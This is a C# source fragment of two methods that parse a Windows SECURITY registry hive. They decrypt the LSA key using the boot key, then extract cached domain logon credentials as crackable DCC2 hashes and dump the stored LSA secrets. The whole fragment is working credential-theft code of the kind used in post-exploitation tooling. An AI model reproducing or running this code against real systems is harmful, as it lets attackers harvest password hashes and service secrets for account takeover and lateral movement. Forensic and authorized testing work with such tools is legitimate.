private static byte[] DumpSecret(NodeKey secret, byte[] lsaKey) { NodeKey secretCurrVal = secret.ChildNodes.Find(x => x.Name.Contains("CurrVal")); byte[] value = secretCurrVal.getChildValues("Default"); LsaSecret record = new LsaSecret(value); byte[] tempKey = Crypto.ComputeSha256(lsaKey, record.data.Take(32).ToArray()); byte[] dataVal2 = record.data.Skip(32).Take(record.data.Length - 32).ToArray(); byte[] plaintext = Crypto.DecryptAES_ECB(dataVal2, tempKey); return(plaintext); }
private static List <string> ParseLsa(RegistryHive security, byte[] bootKey, ref RemoteOps remoteConnection) { List <string> retVal = new List <string>(); try { byte[] fVal = GetValueKey(security, @"Policy\PolEKList\Default").Data; LsaSecret record = new LsaSecret(fVal); byte[] dataVal = record.data.Take(32).ToArray(); byte[] tempKey = Crypto.ComputeSha256(bootKey, dataVal); byte[] dataVal2 = record.data.Skip(32).Take(record.data.Length - 32).ToArray(); byte[] decryptedLsaKey = Crypto.DecryptAES_ECB(dataVal2, tempKey).Skip(68).Take(32).ToArray(); //get NLKM Secret byte[] nlkmKey = null; NodeKey nlkm = GetNodeKey(security, @"Policy\Secrets\NL$KM"); if (nlkm != null) { retVal.Add("[*] Cached domain logon information(domain/username:hash)"); nlkmKey = DumpSecret(nlkm, decryptedLsaKey); foreach (ValueKey cachedLogin in GetNodeKey(security, @"Cache").ChildValues) { if (string.Compare(cachedLogin.Name, "NL$Control", StringComparison.OrdinalIgnoreCase) != 0 && !IsZeroes(cachedLogin.Data.Take(16).ToArray())) { NL_Record cachedUser = new NL_Record(cachedLogin.Data); byte[] plaintext = Crypto.DecryptAES_CBC(cachedUser.encryptedData, nlkmKey.Skip(16).Take(16).ToArray(), cachedUser.IV); byte[] hashedPW = plaintext.Take(16).ToArray(); string username = Encoding.Unicode.GetString(plaintext.Skip(72).Take(cachedUser.userLength).ToArray()); string domain = Encoding.Unicode.GetString(plaintext.Skip(72 + Pad(cachedUser.userLength) + Pad(cachedUser.domainNameLength)).Take(Pad(cachedUser.dnsDomainLength)).ToArray()); domain = domain.Replace("\0", ""); retVal.Add(string.Format("{0}/{1}:$DCC2$10240#{2}#{3}", domain, username, username, BitConverter.ToString(hashedPW).Replace("-", "").ToLower())); } } } try { retVal.Add("[*] LSA Secrets"); foreach (NodeKey secret in GetNodeKey(security, @"Policy\Secrets").ChildNodes) { if (string.Compare(secret.Name, "NL$Control", StringComparison.OrdinalIgnoreCase) != 0) { if (string.Compare(secret.Name, "NL$KM", StringComparison.OrdinalIgnoreCase) != 0) { LsaSecretBlob secretBlob = new LsaSecretBlob(DumpSecret(secret, decryptedLsaKey)); if (secretBlob.length > 0) { retVal.Add(PrintSecret(secret.Name, secretBlob, ref remoteConnection)); } } else { LsaSecretBlob secretBlob = new LsaSecretBlob(nlkmKey); if (secretBlob.length > 0) { retVal.Add(PrintSecret(secret.Name, secretBlob, ref remoteConnection)); } } } } } catch { retVal.Add("[X] No secrets to parse"); } } catch (Exception e) { retVal.Add("[X] Error parsing SECURITY dump file: " + e.ToString()); } return(retVal); }